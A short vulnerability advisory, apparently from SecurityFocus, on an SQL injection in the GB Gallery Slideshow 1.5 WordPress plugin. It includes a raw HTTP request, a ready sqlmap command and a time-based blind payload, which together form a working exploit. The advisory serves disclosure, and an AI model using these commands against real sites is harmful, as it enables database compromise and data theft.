source: https://www.securityfocus.com/bid/69181/info

The GB Gallery Slideshow plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

GB Gallery Slideshow 1.5 is vulnerable; other versions may also be affected. 

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Accept-language: en-us,en;q=0.5
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: sqlmap/1.0-dev-5b2ded0 (http://sqlmap.org)
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 10.0.0.67
Cookie: wordpress_75aacd302e2a4723897cb1d154c13f77=pippo%7C1407707530%7C5ae003a01e51c11e530c14f6149c9d07; wp-settings-time-1=1407537471; wp-settings-time-2=1406916594; wp-settings-1=editor%3Dtinymce%26libraryContent%3Dbrowse; voted_2=6; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_75aacd302e2a4723897cb1d154c13f77=pippo%7C1407707530%7C6988bc86de7b7790fca51ea294e171a1; redux_current_tab=3
Pragma: no-cache
Cache-control: no-cache,no-store
Content-type: application/x-www-form-urlencoded; charset=utf-8
Content-length: 120
Connection: close

action=gb_ajax_get_group&gb_nonce=5356513fbe&selected_group=[SQL_Injection]


Exploit via sqlmap:

sqlmap --cookie='INSERT_WORDPRESS_COOKIE_HERE' -u "http://www.example.com/wp-admin/admin-ajax.php" \
--data="action=gb_ajax_get_group&gb_nonce=5356513fbe&selected_group=2" -p selected_group --dbms=mysql 

---
Place: POST
Parameter: selected_group
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: action=gb_ajax_get_group&gb_nonce=5356513fbe&selected_group=2 AND SLEEP(5)
    Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
---